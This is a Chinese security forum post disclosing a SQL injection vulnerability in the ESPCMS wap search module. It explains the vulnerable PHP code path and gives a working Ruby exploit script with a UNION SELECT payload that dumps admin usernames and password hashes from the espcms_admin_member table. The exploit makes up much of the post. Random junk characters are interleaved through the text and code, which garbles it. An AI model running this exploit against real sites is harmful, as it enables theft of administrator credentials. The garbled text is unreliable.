找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2123|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节
9 J! E9 _1 k0 Y9 _4 }5 i3 F0×2 PoC
0 A7 B: L' h: N: h- Z4 g& i6 V+ L- g1 ~
& C& M' c: ^/ Z4 t. Q: g2 o- Y5 E( O' c% f

' y2 E4 `# ^! Q4 t0×0 漏洞概述
4 ?0 i! G9 x3 Q+ P/ ?4 w
/ D8 W1 Y1 [5 G0 V  r6 t易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
; t. V' ~4 B: X$ {, w其在处理传入的参数时考虑不严谨导致SQL注入发生
/ @5 ^+ N! l" J/ n5 G4 M& e/ _2 O: b/ t! l- U1 p0 l" g- X0 v! Q
$ l' b$ k) x1 b# U; f( @* Z
0×1 漏洞细节
( f3 {; z5 q/ i% Z  K. i0 T! K6 l; l# L+ f( {% O4 e
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。5 r8 {) h7 o: W7 ?
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。2 s3 z0 p3 ~0 [& G
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入" z% Y- L1 L" d; D% g: _

- |6 ]0 n; e* _  V7 w在/interface/3gwap_search.php文件的in_result函数中:
+ e8 i( p& M9 q" S+ I) _6 C8 B
/ [2 d# e. A+ {1 H0 u# V3 V
) X9 o- j" D; U& g( S  C
+ _- i" x" I4 K, a) p       function in_result() {
1 B' e0 c6 T7 l7 z( w# m            ... ... ... ... ... ... ... ... ...
( \; y/ U4 G  E. k            $urlcode = $_SERVER[ 'QUERY_STRING '];: A. t1 f$ {, [7 L7 @
            parse_str(html_entity_decode($urlcode), $output);
, b) d4 ~. j. [4 h2 z9 p- N2 |. o* C- |
            ... ... ... ... ... ... ... ... ...
2 D4 {7 [9 V6 P, ?+ d            if (is_array($output['attr' ]) && count($output['attr']) > 0) {* m3 N) ]; x( l6 Q: X' {0 @+ M0 W
3 q* ]% d8 g" {# c- }) F4 |' }
                  $db_table = db_prefix . 'model_att';- c$ b4 N0 A5 W5 L) A- N6 c$ W, W

$ x% H# ]9 ]) ?8 e( x0 T                   foreach ($output['attr' ] as $key => $value) {
' k- i+ b0 I5 O/ l' ^, z: r* [                         if ($value) {
' I# p+ `/ k9 d- P" N
, c% p! |- ~! V2 w                              $key = addslashes($key);( L5 ?1 n4 o4 t
                              $key = $this-> fun->inputcodetrim($key);
6 i8 C: D/ E0 R3 l& [: {                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
7 m7 H4 x, y2 }( y                              $countnum = $this->db_numrows($db_table, $db_att_where);0 Z1 m3 r# V0 k0 k) w
                               if ($countnum > 0) {
$ b8 K  g6 W7 u4 z                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;+ j6 X+ P  c" B: e8 f
                              }$ P7 w, n- `* o0 j1 X/ u% k1 M
                        }# q7 w: N$ _7 C% T* N# `
                  }
3 \' N8 H) z" W3 u            }$ Z* H2 B2 P$ Y9 @0 k9 {
            if (!empty ($keyword) && empty($keyname)) {
. F9 s" z5 {9 o" P% y! _8 J- G$ A                  $keyname = 'title';
% R6 G4 G% j/ C) n7 O. D; d                  $db_where.= " AND a.title like '%$keyword%'" ;
9 v- k8 N2 H, m$ L- a: ~            } elseif (!empty ($keyword) && !empty($keyname)) {4 ]3 [( R9 E! S4 M. o+ X5 a
                  $db_where.= " AND $keyname like '% $keyword%'";- o  i3 [: ~. g8 O; `* b4 ]
            }
/ b# e) h$ h0 f4 m2 S3 _4 b7 z- O4 i            $pagemax = 15;5 O  v& y! K6 r1 J. L0 n' U1 q' c; w

" o4 `- I; Y( e            $pagesylte = 1;
% M7 M5 |$ f4 B! Y; w" C7 y5 l- G* V$ h; L/ B% s* o" _$ D# n
             if ($countnum > 0) {+ p7 `& `  R4 D, s
* b6 z8 Q3 x( L. K
                  $numpage = ceil($countnum / $pagemax);0 I" \; }- G2 Y
            } else {  M7 `. O1 f0 F0 [# ]' m, f; _5 O3 a
                  $numpage = 1;+ x" P8 G  ?/ n7 |7 B) @$ J
            }
3 X) V. r3 C1 P            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
, _' W8 b' r. S- e/ y            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
" }3 ~% T* g" Z9 T: z) L7 k  Y( i$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);3 i( `" n  I6 L% ~! J4 P- g6 h
            ... ... ... ... ... ... ... ... ...
. c% z$ r6 _# H      }
2 a. z( ?$ @/ X1 A
4 o" f+ k: S. @& I2 ?6 U0 W: Z/ Z' h9 }' L: \! r5 z
0×2 PoC
; o9 m9 O1 p- S# O; k
+ M6 n2 l1 e: T7 M4 e% `! c2 }5 a6 }. c/ D

3 f1 P, w0 W8 l  L0 J( erequire "net/http"
2 U2 b- R/ l3 |. N1 C' W( b# g+ m8 g0 e
def request(method, url)0 {8 _. _, ~; Y! Q7 C
    if method.eql?("get")  ]( V- H: A2 N  M6 y. \; a
        uri = URI.parse(url)( n4 X1 a4 t7 E* r# l# F" q
        http = Net::HTTP.new(uri.host, uri.port)
1 W8 i% K: h: k3 W7 ~2 w! J        response = http.request(Net::HTTP::Get.new(uri.request_uri)): E, Y' I5 \( m7 x5 V* ^) [) I
        return response
3 ]% N" _% E3 r3 [    end& \0 Y7 Q5 n6 J4 O4 c6 @9 d
end
" U' @* E3 I" w6 K7 E% l2 ], u! s0 t6 k+ t0 A
doc =<<HERE
3 j" [9 U' A( c8 R8 t" ?-------------------------------------------------------* i; }  w% U( p( o, `; T1 H
Espcms Injection Exploit+ Y" _5 b) Y; q( Y
Author:ztz4 r% s! P; D7 s& o% `  A
Blog:http://ztz.fuzzexp.org/1 e4 M/ Z, n6 u; O' O
-------------------------------------------------------
' e2 G5 C3 G" G! m; p
+ ~$ H0 r1 Y# QHERE
% _% D1 x3 Z( `
" K& W2 b( q1 V8 w; f( f& @usage =<<HERE$ z; R/ E' u) l4 u
Usage:         ruby #{$0} host port path
" i- P& N5 I6 [8 C( o8 ~example:     ruby #{$0} www.target.com 80 /& M# g# t3 t7 ]! _- @# {
HERE
5 Y% |) Z  x* n3 W" V/ p* o$ z
8 N) ~) I- ], @* v* dputs doc, n( n: l( \7 o7 Z
if ARGV.length < 3
- t- K9 y* o) Y1 q    puts usage
9 d1 l, l* b* n, G; y, z" R3 _else
0 _8 a0 E/ K& O' b$ r$ T9 f4 U    $host = ARGV[0]
- _, i. w! s5 q    $port = ARGV[1]& C, I8 x) o" X- i9 r6 H5 b7 S: M
    $path = ARGV[2]5 ^1 B# \+ g5 a  _
# @. j. g' u9 ~
    puts "
  • send request..."
    ( @  W- v; V$ M' E- [0 P    url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&3 @7 ~, Z+ b( A7 k
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
    1 c4 Z; ?& V% @" W- ~  @' M5 t,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    2 n; c2 W7 q% s' c,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    ) a% [& F( a2 @  i) H0 U    response = request("get", url)
    ; p  _$ k$ S( s, E- `: E  l    result = response.body.scan(/\w+&\w{32}/)% o3 I/ s0 e' B! F1 e
        puts result
    ) n  W' Y6 f0 h3 D; Zend
    2 k$ X3 d9 x6 Y1 Z6 a) X6 T* T0 x6 O$ ]: a
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表